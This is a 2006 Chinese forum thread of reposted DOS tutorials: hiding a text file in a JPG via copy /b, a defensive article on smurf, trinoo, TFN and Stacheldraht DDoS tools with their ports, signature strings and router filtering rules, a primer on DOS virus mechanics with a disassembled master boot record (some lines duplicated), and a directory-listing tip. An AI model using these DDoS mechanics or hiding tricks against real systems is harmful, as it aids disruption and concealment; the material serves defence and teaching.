ExcelHome技术论坛

 找回密码
 免费注册

QQ登录

只需一步,快速开始

快捷登录

搜索
EH技术汇-专业的职场技能充电站 妙哉!函数段子手趣味讲函数 Excel服务器-会Excel,做管理系统 效率神器,一键搞定繁琐工作
HR薪酬管理数字化实战 Excel 2021函数公式学习大典 Excel数据透视表实战秘技 打造核心竞争力的职场宝典
让更多数据处理,一键完成 数据工作者的案头书 免费直播课集锦 ExcelHome出品 - VBA代码宝免费下载
用ChatGPT与VBA一键搞定Excel WPS表格从入门到精通 Excel VBA经典代码实践指南
楼主: andysky

[分享]想学习DOS的请进来-----DOS连载

[复制链接]

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-15 10:39 | 显示全部楼层

用DOS命令合并隐藏文件

我们都知道dos命令copy的主要作用是复制文件,可是你是否知道,它还有一个作用是合并文件呢?
   一般情况下,它主要用于合并相同类型的文件,比如将两个文本文件合并为一个文本文件、将两个独立的mpeg视频文件合并为一个连续的视频文件等。那么,如果用它合并两个不同类型的文件,结果会怎样呢?
   巧妙地将一个文本文件合并到一个非文本文件中,可以实现隐藏秘密的作用。一起来看看吧。
   比如你有一段私人信息要隐藏起来,请先录入并保存为文本文件,假设保存为001.txt。另找一个非文本文件,最好为图片文件或可执行文件。以图片文件为例,假设它的文件名为002.jpg。如果把它们都放到d盘根目录下,那么在windows的ms-dos方式下执行以下命令:
   d:\copy 002.jpg/b + 001.txt/a 003.jpg
   其中参数/b指定以二进制格式复制、合并文件;参数/a指定以ascii格式复制、合并文件。这里要注意文件的顺序,二进制格式的文件应放在加号前,文本格式的文件放在加号后。
   执行该命令后,生成了一个新文件003.jpg。回到windows中用图片浏览软件打开这个它,你会发现它与002.jpg的显示结果一模一样——别着急,秘密马上揭晓!用记事本打开003.jpg(在记事本的“打开”对话框中选择“文件类型”为“所有文件”才能打开非txt文件;或者直接用鼠标把图片拖进记事本窗口),你看到什么了?一堆乱码吗?没错!但如果你按下ctrl+end键将光标移至文件的尾部,哈,你再看看!是不是001.txt文件中的内容?呵呵,“秘密”原来在这儿。
   按照这种方法,你可以轻松地把一些重要信息隐藏起来,比如用户id、密码、重要私人信息等。
   这个方法的确很巧妙,推荐尝试!哪怕你并不想隐藏什么,它也能带给你一种新奇的感觉。但经过我的验证,有一点要提醒大家:就是这个文本文件的前面最好空上3行以上,这样它头部的内容就不会丢失

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-15 10:40 | 显示全部楼层
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件       ★免费下载 ★       ★ 使用帮助

典型DoS攻击原理及抵御措施

smurf、trinoo、tfn、tfn2k以及stacheldraht是比较常见的DoS攻击程序,本文将对它们的原理以及抵御措施进行论述,以帮助管理员有效地抵御DoS风暴攻击,维护站点安全。

一、何为"smurf 攻击",如何抵御?
Smurf是一种简单但有效的 DDoS 攻击技术,它利用了ICMP (Internet控制信息协议)。ICMP在Internet上用于错误处理和传递控制信息。它的功能之一是与主机联系,通过发送一个“回音请求”(echo request)信息包看看主机是否“活着”。最普通的ping程序就使用了这个功能。Smurf是用一个偷来的帐号安装到一个计算机上的,然后用一个伪造的源地址连续ping一个或多个计算机网络,这就导致所有计算机所响应的那个计算机并不是实际发送这个信息包的那个计算机。这个伪造的源地址,实际上就是攻击的目标,它将被极大数量的响应信息量所淹没。对这个伪造信息包做出响应的计算机网络就成为攻击的不知情的同谋。

下面是Smurf DDoS 攻击的基本特性以及建议采用的抵御策略:

1、Smurf的攻击平台:smurf为了能工作,必须要找到攻击平台,这个平台就是:其路由器上启动了 IP广播功能。这个功能允许 smurf 发送一个伪造的ping信息包,然后将它传播到整个计算机网络中。

2、为防止系统成为 smurf攻击的平台,要将所有路由器上IP的广播功能都禁止。一般来讲,IP广播功能并不需要。

3、攻击者也有可能从LAN内部发动一个smurf攻击,在这种情况下,禁止路由器上的IP 广播功能就没有用了。为了避免这样一个攻击,许多操作系统都提供了相应设置,防止计算机对IP广播请求做出响应。更多信息请参阅http://www.cert.org/advisories/CA-98.01.smurf.html的附录A。

4、如果攻击者要成功地利用你成为攻击平台,你的路由器必须要允许信息包以不是从你的内网中产生的源地址离开网络。配置路由器,让它将不是由你的内网中生成的信息包过滤出去,这是有可能做到的。这就是所谓的网络出口过滤器功能。

5、ISP则应使用网络入口过滤器,以丢掉那些不是来自一个已知范围内IP地址的信息包。

6、挫败一个smurf 攻击的最简单方法对边界路由器的回音应答(echo reply)信息包进行过滤,然后丢弃它们,这样就能阻止“命中”Web服务器和内网。对于那些使用Cisco路由器的人,另一个选择是CAR (Committed Access Rate,承诺访问速率)。

丢弃所有的回音应答信息包能使网络避免被淹没,但是它不能防止来自上游供应者通道的交通堵塞。如果你成为了攻击的目标,就要请求ISP对回音应答信息包进行过滤并丢弃。 如果不想完全禁止回音应答,那么可以有选择地丢弃那些指向你的公用Web 服务器的回音应答信息包。 CAR 技术由Cisco 开发,它能够规定出各种信息包类型使用的带宽的最大值。例如,使用CAR,我们就可以精确地规定回音应答信息包所使用的带宽的最大值。

二、何为 "trinoo",如何抵御它?

trinoo 是复杂的 DDoS 攻击程序,它使用“master”程序对实际实施攻击的任何数量的“代理”程序实现自动控制。攻击者连接到安装了master程序的计算机,启动master程序,然后根据一个IP地址的列表,由master程序负责启动所有的代理程序。接着,代理程序用UDP 信息包冲击网络,从而攻击目标。在攻击之前,侵入者为了安装软件,已经控制了装有master程序的计算机和所有装有代理程序的计算机。

下面是trinoo DDoS 攻击的基本特性以及建议采用的抵御策略:

1、在master程序与代理程序的所有通讯中,trinoo都使用了UDP协议。入侵检测软件能够寻找使用UDP协议的数据流(类型17)。

2、Trinoo master程序的监听端口是27655,攻击者一般借助telnet通过TCP连接到master程序所在计算机。入侵检测软件能够搜索到使用TCP (类型6)并连接到端口27655的数据流。

3、所有从master程序到代理程序的通讯都包含字符串"l44",并且被引导到代理的UDP 端口27444。入侵检测软件检查到UDP 端口27444的连接,如果有包含字符串l44的信息包被发送过去,那么接受这个信息包的计算机可能就是DDoS代理。

4、Master和代理之间通讯受到口令的保护,但是口令不是以加密格式发送的,因此它可以被“嗅探”到并被检测出来。使用这个口令以及来自Dave Dittrich的trinot脚本http://staff.washington.edu/dittrich/misc/trinoo.analysis,要准确地验证出trinoo代理的存在是很可能的。

一旦一个代理被准确地识别出来,trinoo网络就可以安装如下步骤被拆除:

·在代理daemon上使用"strings"命令,将master的IP地址暴露出来。

·与所有作为trinoo master的机器管理者联系,通知它们这一事件。

·在master计算机上,识别含有代理IP地址列表的文件(默认名"..."),得到这些计算机的IP地址列表。

·向代理发送一个伪造"trinoo"命令来禁止代理。通过crontab 文件(在UNIX系统中)的一个条目,代理可以有规律地重新启动, 因此,代理计算机需要一遍一遍地被关闭,直到代理系统的管理者修复了crontab文件为止。

·检查master程序的活动TCP连接,这能显示攻击者与trinoo master程序之间存在的实时连接。

·如果网络正在遭受trinoo攻击,那么系统就会被UDP 信息包所淹没。Trinoo从同一源地址向目标主机上的任意端口发送信息包。探测trinoo就是要找到多个UDP信息包,它们使用同一来源IP地址、同一目的IP地址、同一源端口,但是不同的目的端口。

·在http://www.fbi.gov/nipc/trinoo.htm上有一个检测和根除trinoo的自动程序。

三、何为"Tribal Flood Network" 和 "TFN2K",如何抵御?

Tribe Flood Network与trinoo一样,使用一个master程序与位于多个网络上的攻击代理进行通讯。TFN可以并行发动数不胜数的DoS攻击,类型多种多样,而且还可建立带有伪装源IP地址的信息包。 可以由TFN发动的攻击包括:UDP冲击、TCP SYN 冲击、ICMP回音请求冲击以及 ICMP 广播。

以下是TFN DDoS 攻击的基本特性以及建议的抵御策略:

1、发动TFN时,攻击者要访问master程序并向它发送一个或多个目标IP地址,然后Master程序继续与所有代理程序通讯,指示它们发动攻击。

TFN Master程序与代理程序之间的通讯使用ICMP回音应答信息包,实际要执行的指示以二进制形式包含在16位ID域中。ICMP (Internet控制信息协议)使信息包协议过滤成为可能。通过配置路由器或入侵检测系统,不允许所有的ICMP回音或回音应答信息包进入网络,就可以达到挫败TFN代理的目的。但是这样会影响所有使用这些功能的Internet程序,比如ping。

TFN Master程序读取一个IP地址列表,其中包含代理程序的位置。这个列表可能使用如"Blowfish"的加密程序进行了加密。如果没有加密的话,就可以从这个列表方便地识别出代理信息。

2、用于发现系统上TFN 代理程序的程序是td,发现系统上master程序的程序是tfn。TFN 代理并不查看ICMP回音应答信息包来自哪里,因此使用伪装ICMP 信息包冲刷掉这些过程是可能的。

TFN2K是TFN的一个更高级的版本,它“修复”了TFN的某些缺点:

1、在TFN2K下,Master与代理之间的通讯可以使用许多协议,例如TCP、UDP或ICMP,这使得协议过滤不可能实现。

2、TFN2K能够发送破坏信息包,从而导致系统瘫痪或不稳定。

3、TFN2K伪造IP源地址,让信息包看起来好像是从LAN上的一个临近机器来的,这样就可以挫败出口过滤和入口过滤。

4、由于TFN2K是最近刚刚被识破的,因此还没有一项研究能够发现它的明显弱点。

在人们能够对TFN2K进行更完全的分析之前,最好的抵御方法是:

·加固系统和网络,以防系统被当做DDoS主机。

·在边界路由器上设置出口过滤,这样做的原因是或许不是所有的TFN2K源地址都用内部网络地址进行伪装。

·请求上游供应商配置入口过滤。

四、何为 "stacheldraht",如何防范?

Stacheldraht也是基于TFN和trinoo一样的客户机/服务器模式,其中Master程序与潜在的成千个代理程序进行通讯。在发动攻击时,侵入者与master程序进行连接。Stacheldraht增加了以下新功能:攻击者与master程序之间的通讯是加密的,以及使用rcp (remote copy,远程复制)技术对代理程序进行更新。

Stacheldraht 同TFN一样,可以并行发动数不胜数的DoS攻击,类型多种多样,而且还可建立带有伪装源IP地址的信息包。Stacheldraht所发动的攻击包括UDP 冲击、TCP SYN 冲击、ICMP 回音应答冲击以及ICMP播放。

以下是Stacheldraht DDoS攻击的基本特征以及建议采取的防御措施:

1、在发动Stacheldraht攻击时,攻击者访问master程序,向它发送一个或多个攻击目标的 IP地址。Master程序再继续与所有代理程序进行通讯,指示它们发动攻击。

Stacheldraht master程序与代理程序之间的通讯主要是由ICMP 回音和回音应答信息包来完成的。配置路由器或入侵检测系统,不允许一切ICMP回音和回音应答信息包进入网络,这样可以挫败Stacheldraht代理。但是这样会影响所有要使用这些功能的Internet程序,例如ping。

2、代理程序要读取一个包含有效master程序的IP地址列表。这个地址列表使用了Blowfish加密程序进行加密。代理会试图与列表上所有的master程序进行联系。如果联系成功,代理程序就会进行一个测试,以确定它被安装到的系统是否会允许它改变"伪造"信息包的源地址。通过配置入侵检测系统或使用嗅探器来搜寻它们的签名信息,可以探测出这两个行为。

代理会向每个master发送一个ICMP 回音应答信息包,其中有一个ID 域包含值666,一个数据域包含字符串"skillz"。如果master收到了这个信息包,它会以一个包含值667的ID 域和一个包含字符串"ficken"的数据域来应答。代理和master通过交换这些信息包来实现周期性的基本接触。通过对这些信息包的监控,可以探测出Stacheldraht。

一旦代理找到了一个有效master程序,它会向master发送一个ICMP信息包,其中有一个伪造的源地址,这是在执行一个伪造测试。这个假地址是"3.3.3.3"。如果master收到了这个伪造地址,在它的应答中,用ICMP信息包数据域中的"spoofworks"字符串来确认伪造的源地址是奏效的。通过监控这些值,也可以将Stacheldraht检测出来。

3、Stacheldraht代理并不检查 ICMP 回音应答信息包来自哪里,因此就有可能伪造 ICMP 信息包将其排除。

4、Stacheldraht代理程序与TFN 和 trinoo一样,都可以用一个C程序来探测,它的地址是:http://staff.washington.edu/dittrich/misc/ddos_scan.tar。

五、如何配置路由器、防火墙和入侵检测系统来抵御常见DDoS攻击?

1、抵御 Smurf

·确定你是否成为了攻击平台:对不是来自于你的内部网络的信息包进行监控;监控大容量的回音请求和回音应答信息包。

·避免被当做一个攻击平台:在所有路由器上禁止IP广播功能;将不是来自于内部网络的信息包过滤掉。

·减轻攻击的危害:在边界路由器对回音应答信息包进行过滤,并丢弃;对于Cisco路由器,使用CAR来规定回音应答信息包可以使用的带宽最大值。

2、抵御trinoo

·确定你是否成为攻击平台:在master程序和代理程序之间的通讯都是使用UDP协议,因此对使用UDP协议(类别 17)进行过滤;攻击者用TCP端口27655与master程序连接,因此对使用TCP (类别6)端口 27655连接的流进行过滤;master与代理之间的通讯必须要包含字符串"l44" ,并被引导到代理的UDP 端口27444,因此对与UDP端口27444连接且包含字符串l44的数据流进行过滤。

·避免被用作攻击平台:将不是来自于你的内部网络的信息包过滤掉。

·减轻攻击的危害: 从理论上说,可以对有相同源IP地址的、相同目的IP地址的、相同源端口的、不通目的端口的UDP信息包序列进行过滤,并丢弃它们。

3、抵御TFN和TFN2K

·确定你是否成为攻击平台:对不是来自于内部网络的信息包进行监控。

·避免被用作攻击平台:不允许一切到你的网络上的ICMP回音和回音应答信息包,当然这会影响所有要使用这些功能的Internet程序;将不是来源于内部网络的信息包过滤掉。

4、抵御Stacheldraht

·确定你是否成为攻击平台:对 ID域中包含值666、数据域中包含字符串"skillz"或ID域中包含值667、数据域中包含字符串"ficken" 的ICMP回音应答信息包进行过滤;对源地址为"3.3.3.3"的ICMP 信息包和ICMP信息包数据域中包含字符串"spoofworks"的数据流进行过滤。

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-16 11:46 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册

关于DOS病毒

自磁芯大战以来,病毒从DOS时代的病毒发展到WINDOS系统的病毒,从变形、加密到智能化现在的病毒是让人防不胜防,现在网络上病毒大肆泛滥,给人们带来的很大的危害,本人在此仅做抛砖引玉,介绍病毒的原理,希望大家共同研究交流。(本文参考了网络上的部分文章,并引用了部分内容。)
要学DOS下的病毒,首先你必须要学会或掌握汇编语言。DOS下病毒一般分为引导型病毒、文件型病毒、混合型病毒等。大部分病毒是感染COM和EXE文件,因此你必须了解COM文件和EXE文件结构。
一 .COM文件结构及原理
.COM 文件比较简单,.COM文件包含程序的一个绝对映象―――就是说,为了运行程序准确的处理器指令和内存中的数据,MS-DOS通过直接把该映象从文件拷贝到内存而加载.COM程序,它不作任何改变。为加载一个.COM程序,MS-DOS首先试图分配内存,因为.COM程序必须位于一个64K的段中,所以.COM文件的大小不能超过65,024(64K减去用于PSP的256字节和用于一个起始堆栈的至少256字节)。如果MS-DOS不能为程序、一个PSP、一个起始堆栈分配足够内存,QQ:9750406则分配尝试失败。否则,MS-DOS分配尽可能多的内存(直至所有保留内存),即使.COM程序本身不能大于64K。在试图运行另一个程序或分配另外的内存之前,大部分.COM程序释放任何不需要的内存。
分配内存后,MS-DOS在该内存的头256字节建立一个PSP,如果PSP中的第一个FCB含有一个有效驱动器标识符,则置AL为00h,否则为0FFh。MS-DOS还置AH为00h或0FFh,这依赖于第二个FCB是否含有一个有效驱动器标识符。建造PSP后,MS-DOS在PSP后立即开始(偏移100h)加载.COM文件,它置SS,DS和ES为PSP的段地址,接着创建一个堆栈.为创建一个堆栈,MS-DOS置SP为0000h,若已分配了至少64K内存;否则,它置寄存器为比所分配的字节总数大2的值.最后,它把0000h推进栈(这是为了保证与在早期MS-DOS版本上设计的程序的兼容性)。MS-DOS通过把控制传递偏移100h处的指令而启动程序.程序设计者必须保证.COM文件的第一条指令是程序的入口点。注意,因为程序是在偏移100h处加载,因此所有代码和数据偏移也必须相对于100h.汇编语言程序设计者可通过置程序的初值为100h而保证这
一点(例如通过在原程序的开始使用语句org 100h).
二 EXE文件结构
 EXE 文件比较复杂,每个EXE文件都有一个文件头,结构如下:
       EXE文件头信息    
    ―――――――――――――――――――
     ├ 偏移量 ┤   意义         ┤
     ├00h-01h ┤MZ‘EXE文件标记     ┤
     ├2h-03h ┤文件长度除512的余数  ┤
     ├04h-05h ┤...............商  ┤
     ├06h-07h ┤重定位项的个数      ┤
     ├08h-09h ┤文件头除16的商     ┤
     ├0ah-0bh ┤程序运行所需最小段数 ┤
     ├0ch-0dh ┤..............大.... ┤
     ├oeh-0fh ┤堆栈段的段值 (SS)   ┤
     ├10h-11h ┤........sp      ┤
     ├12h-13h ┤文件校验和       ┤
     ├14h-15h ┤IP           ┤
     ├16h-17h ┤CS           ┤
     ├18h-19h ┤............  ┤
     ├1ah-1bh ┤............     ┤
     ├1ch   ┤............      ┤ 
 ―――――――――――――――――――――――――
.EXE文件包含一个文件头和一个可重定位程序映象。文件头包含MS-DOS用于加载程序的信息,例如程序的大小和寄存器的初始值。文件头还指向一个重定位表,该表包含指向程序映象中可重定位段地址的指针链表。文件头的形式与EXEHEADER结构对应:
EXEHEADER STRUC
exSignature dw 5A4Dh ;.EXE标志
exExraBytes dw ? ;最后(部分)页中的字节数
exPages dw ? ;文件中的全部和部分页数
exRelocItems dw ? ;重定位表中的指针数
exHeaderSize dw ? ;以字节为单位的文件头大小
exMinAlloc dw ? ;最小分配大小
exMaxAlloc dw ? ;最大分配大小
exInitSS dw ? ;初始SS值
exInitSP dw ? ;初始SP值
exChechSum dw ? ;补码校验值
exInitIP dw ? ;初始IP值
exInitCS dw ? ;初始CS值
exRelocTable dw ? ;重定位表的字节偏移量
exOverlay dw ? ;覆盖号
EXEHEADER ENDS程序映象,包含处理器代码和程序的初始数据,紧接在文件头之后。它的大小以字节为单位,等于.EXE文件的大小减去文件头的大小,也等于exHeaderSize的域的值乘以16。MS-DOS通过把该映象直接从文件拷贝到内存加载.EXE程序然后调整定位表中说明的可重定位段地址。
定位表是一个重定位指针数组,每个指向程序映象中的可重定位段地址。文件头中的exRelocItems域说明了数组中指针的个数,exRelocTable域说明了分配表的起始文件偏移量。每个重定位指针由两个16位值组成:偏移量和段值。 为加载.EXE程序,MS-DOS首先读文件头以确定.EXE标志并计算程序映象的大小。然后它试图申请内存。首先,它计算程序映象文件的大小加上PSP的大小再加上EXEHEADER结构中的exMinAlloc域说明的内存大小这三者之和,如果总和超过最大可用内存块的大小。则MS-DOS停止加载程序并返回一个出错值。否则面,它计算程序映象的大小加上PSP的大小再加上EXEHEADER结构中exMaxAlloc域说明的内存大小之和,如果第二个总和小于最大可用内存块的大小,则MS-DOS 分配计算得到的内存量。否则,它分配最大可用内存块。分配完内存后,MS-DOS确定段地址,也称为起始段地址,MS-DOS从此处加载程序映象。如果exMinAlloc域和exMaxAlloc域中的值都为零,则MS-DOS把映象尽可能地加载到内存最高端。否则,它把映象加载到紧挨着PSP域之上。接下来,MS-DOS读取重定位表中的项目调整所有由可重定位指针说明的段地址。对于重定位表中的每个指针,MS-DOS寻找程序映象中相应的可重定位段地址,并把起始段地址加到它之上。一旦调整完毕,段地址便指向了内存中被加载程序的代码和数据段。 MS-DOS在所分配内存的最低部分建造256字节的PSP,把AL和AH设置为加载 .COM程序时所设置的值。MS-DOS使用文件头中的值设置SP与SS,调整SS初始值,把起始地址加到它之上。MS-DOS还把ES和DS设置为PSP的段地址.最后,MS-DOS从程序文件头读取CS和IP的初始值,把起始段地址加到CS之 上,把控制转移到位于调整后地址处的程序。
三、引导型病毒原理
了解引导型病毒的原理,首先要了解引导区的结构。软盘只有一个引导区,称为DOS BOOT SECTER ,只要软盘做了格式化,就会存在。其作用为查找盘上有无IO.SYS DOS.SYS,若有则引导,若无则显示‘NO SYSTEM DISK...’等信息。硬盘有两个引导区,在0面0道1扇区的称为主引导区,内有主引导程序和分区表,主引导程序查找激活分区,该分区的第一个扇区即为DOS BOOT SECTER。绝大多数病毒感染硬盘主引导扇区和软盘DOS引导扇区。
***3.5”软盘格式***
3.5”软盘是双面的,所以零磁道有正反两面,正面为0-17扇区,
反面是18-35扇区。
0 扇区: Boot area (引导扇区);
1 - 9 扇区: 1st FAT area (第一张文件分配表);
10 - 18 扇区: 2st FAT area (第二张文件分配表);
19 - 32 扇区: Root dir area(也叫 File Directory Table,FDT)
文件目录表(根目录)
33-2879 扇区: Data area (数据区)

***硬盘的主引导记录结构***
硬盘的主引导记录结构
偏移 机器码 符号指令 说明
0000 FA CLI ;屏蔽中断
0001 33C0 XOR AX,AX
0003 8ED0 MOV SS,AX ;(SS)=0000H
0005 BC007C MOV SP,7C00 ;(SP)=7C00H
0008 8BF4 MOV SI,SP ;(SI)=7C00H
000A 50 PUSH AX
000B 07 POP ES ;(ES)=0000H
000C 50 PUSH AX
000D 1F POP DS ;(DS)=0000H
000E FB STI
000F FC CLD
0010 BF0006 MOV DI,0600
0013 B90001 MOV CX,0100 ;共512字节
0016 F2 REPNZ
0017 A5 MOVSW ;主引导程序把自己从0000:7C00处搬到
;0000:0600处,为Dos分区的引导程序腾
;出空间
0018 EA1D060000 JMP 0000:061D ;跳到0000:061D处继续执行,实际上就是
;执行下面的MOV指令(001D偏移处)
001D BEBE07 MOV SI,07BE ;07BE-0600=01BE,01BE是分区表的首址
0020 B304 MOV BL,04 ;分区表最多4项,即最多4个分区
0022 803C80 CMP BYTE PTR [SI],80 ;80H表示活动分区
0025 740E JZ 0035 ;找到活动分区则跳走
0027 803C00 CMP BYTE PTR [SI],00 ;00H为有效分区的标志
002A 751C JNZ 0048 ;既非80H亦非00H则分区表无效
002C 83C610 ADD SI,+10 ;下一个分区表项,每项16字节
002F FECB DEC BL ;循环计数减一
0031 75EF JNZ 0022 ;检查下一个分区表项
0033 CD18 INT 18 ;4个都不能引导则进入ROM Basic
0035 8B14 MOV DX,[SI]
0037 8B4C02 MOV CX,[SI+02] ;取活动分区的引导扇区的面,柱面,扇区
003A 8BEE MOV BP,SI ;然后继续检查后面的分区表项
003C 83C610 ADD SI,+10
003F FECB DEC BL
0041 741A JZ 005D ;4个都查完则去引导活动分区
0043 803C00 CMP BYTE PTR [SI],00 ;00H为分区有效标志
0046 74F4 JZ 003C ;此分区表项有效则继续查下一个
0048 BE8B06 MOV SI,068B ;068B-0600=018B,取"无效分区"字符串
004B AC LODSB ;从字符串中取一字符
004C 3C00 CMP AL,00 ;00H表示串尾
004E 740B JZ 005B ;串显示完了则进入死循环
0050 56 PUSH SI
0051 BB0700 MOV BX,0007
0054 B40E MOV AH,0E
0056 CD10 INT 10 ;显示一个字符
0058 5E POP SI
0059 EBF0 JMP 004B ;循环显示下一个字符
005B EBFE JMP 005B ;此处为死循环
005D BF0500 MOV DI,0005 ;读入活动分区的引导扇,最多试读5次
0060 BB007C MOV BX,7C00
0063 B80102 MOV AX,0201
0066 57 PUSH DI
0067 CD13 INT 13 ;读
0069 5F POP DI
006A 730C JNB 0078 ;读盘成功则跳走
006C 33C0 XOR AX,AX
006E CD13 INT 13 ;读失败则复位磁盘
0070 4F DEC DI
0071 75ED JNZ 0060 ;不到5次则再试读
0073 BEA306 MOV SI,06A3 ;06A3-0600=00A3,即"Error loading"串
0076 EBD3 JMP 004B ;去显示字符串,然后进入死循环
0078 BEC206 MOV SI,06C2 ;06C2-0600=00C2,即"Missing.."串
0076 EBD3 JMP 004B ;去显示字符串,然后进入死循环
0078 BEC206 MOV SI,06C2 ;06C2-0600=00C2,即"Missing.."串
007B BFFE7D MOV DI,7DFE ;7DFE-7C00=01FE,即活动分区的引导扇
;区的最后两字节的首址
007E 813D55AA CMP WORD PTR [DI],AA55;最后两字节为AA55H则有效
0082 75C7 JNZ 004B ;无效则显示字符串并进入死循环
0084 8BF5 MOV SI,BP
0086 EA007C0000 JMP 0000:7C00 ;有效则跳去引导该分区
0080 49 6E 76 61 6C Inval
0090 69 64 20 70 61 72 74 69-74 69 6F 6E 20 74 61 62 id partition tab
00A0 6C 65 00 45 72 72 6F 72-20 6C 6F 61 64 69 6E 67 le.Error loading
00B0 20 6F 70 65 72 61 74 69-6E 67 20 73 79 73 74 65 operating syste
00C0 6D 00 4D 69 73 73 69 6E-67 20 6F 70 65 72 61 74 m.Missing operat
00D0 69 6E 67 20 73 79 73 74-65 6D 00 00 FB 4C 38 1D ing system...L8.
00E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0100 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0110 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0180 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0190 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 80 01 ................;分区表
01C0 01 00 06 0F 7F 9C 3F 00-00 00 F1 59 06 00 00 00 ......?....Y....
01D0 41 9D 05 0F FF 38 30 5A-06 00 40 56 06 00 00 00 A....80Z..@V....
01E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
01F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 AA ..............U.


使用INT 13H的02功能调用把位于硬盘保留扇区中0道0头1扇区处的硬盘主引导记录读到内存的ES:BX处。现在把读出程序代码进行如下分析:

1、移动主引导记录程序
0E74:7C00 33C0 XOR AX,AX ;AX清零
0E74:7C02 8ED0 MOV SS,AX ;SS清零
0E74:7C04 BC007C MOV SP,7C00 ;SP=7C00,堆栈设在0:7C00H
0E74:7C07 FB STI ;开中断
0E74:7C08 50 PUSH AX
0E74:7C09 07 POP ES ;ES=0
0E74:7C0A 50 PUSH AX
0E74:7C0B 1F POP DS ;DS=0
0E74:7C0C FC CLD
0E74:7C0D BE1B7C MOV SI,7C1B ;源地址为0:7C1BH
0E74:7C10 BF1B06 MOV DI,061B ;目的地址为0:061BH
0E74:7C13 50 PUSH AX
0E74:7C14 57 PUSH DI
0E74:7C15 B9E501 MOV CX,01E5 ;移动01E5字节
0E74:7C18 F3 REPZ ;将主引导记录从0:7C1B-0:7DFF
0E74:7C19 A4 MOVSB ;移至0:061B-0:07FF
0E74:7C1A CB RETF ;转移到0:061B,继续执行程序

2、顺序查找四个硬盘分区表,寻找自举标志
0E74:061B BEBE07 MOV SI,07BE ;SI指向硬盘分区表1的自举标志

0E74:061E B104 MOV CL,04 ;查找四个分区
0E74:0620 382C CMP [SI],CH
0E74:0622 7C09 JL 062D ;如果[SI]的第7位为1,即为自
;举标志,转062DH
0E74:0624 7515 JNZ 063B ;如果[SI]不为0,出错,转063BH
0E74:0626 83C610 ADD SI,+10 ;依次检验四个分区表,直至找到

0E74:0629 E2F5 LOOP 0620 ;自举标志
0E74:062B CD18 INT 18 ;找不到自举标志,进入BOOT异
;常处理程序。
0E74:062D 8B14 MOV DX,[SI] ;保存自举驱动器号于DL中
0E74:062F 8BEE MOV BP,SI ;保存自举分区地址指针于BP
0E74:0631 83C610 ADD SI,+10 ;继续检验自举分区后的分区
0E74:0634 49 DEC CX ;自举标志,直至四个分区都
0E74:0635 7416 JZ 064D ;检查完
0E74:0637 382C CMP [SI],CH ;若其余的自举标志不为0,出错

0E74:0639 74F6 JZ 0631 

3、出错,写屏幕程序段
0E74:063B BE1007 MOV SI,0710 ;错误信息输出,死循环
0E74:063E 4E DEC SI
0E74:063F AC LODSB
0E74:0640 3C00 CMP AL,00
0E74:0642 74FA JZ 063E
0E74:0644 BB0700 MOV BX,0007
0E74:0647 B40E MOV AH,0E
0E74:0649 CD10 INT 10
0E74:064B EBF2 JMP 063F

硬盘主引导记录程序的功能是读出自举分区的BOOT程序,并把控制转移到分区BOOT程序。整个程序流程如下:
1 将本来读入到0:7C00H处的硬盘主引导记录程序移至0:61BH处;
⑵ 顺序读入四个分区表的自举标志,以找出自举分区,若找不到,转而执行INT18H的BOOT异常执行中断程序;
⑶ 找到自举分区后,检测该分区的系统标志,若为32位FAT表或16位FAT表但支持13号中断的扩展功能,就转到执行13号中断的41号功能调用进行安装检验,检验成功,就执行42号扩展读功能调用把BOOT区程序读入到内存0:7C00H处,成功,跳到第⑸步,若读失败或系统标志为其它,就调用13号中断的读扇区功能调用把BOOT读到0:7C00H;
⑷ 用13号中断的读扇区功能时,用两种方式分别进行5次试读。第一种方式是直接从自举分区的头扇区读入BOOT程序,若读成功,但结束标志不是55AA,则改用第二种方式,又如果用第一种方式试读五次均不成功,就改用第二种方式。若两种方式试读均失败,就转到出错处理程序;
⑸ 读入BOOT区程序成功,转至0:7C00H处执行BOOT程序。

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-16 11:47 | 显示全部楼层

用DOS制作光盘文件目录两招

我看了《为自己的光盘文件制作目录》,觉得很有同感。我们长期使用计算机,手头上的光盘非常多,时间长了,自己都找不到。看了这篇文章,感觉作者所用的方法可以简化一些。学过DOS的人都应该知道,用DIR命令就可以很好地解决这个问题,即使在DOS窗口里也一样。方法如下:
方法一:切换到DOS窗口,进入光盘根目录下,输入命令“DIR /S 〉C:\1.txt”。系统就会在C盘根目录下自动生成一个文本文件1.txt,而且各级子目录下的文件名,文件大小一应俱全。用Edit或Word等软件打开,可任意编
辑,比如加入你的说明信息等。但我想我们收集光盘中的主要信息,是为了日后找出其中包括哪些软件,而不必要去查阅具体的每个文件名称,而方法一生成的文件不利于查找且文件比较大。所以可以参考下面的方法二。
方法二:切换到DOS窗口,进入光盘根目录下,输入命令“TREE 〉C:\1.TXT”。系统会很快在C盘根目录下生成一个光盘文件的目录结构,层次非常清晰。只要用编辑软件调入编辑,加入合适的说明,就完全能够达到我们的要求了。这样操作是不是更方便快捷些呢,而且也不用安装任何软件。
以上两法,都是用系统自带的命令完成了。在Windows 98/Me/2000下皆可行。

TA的精华主题

TA的得分主题

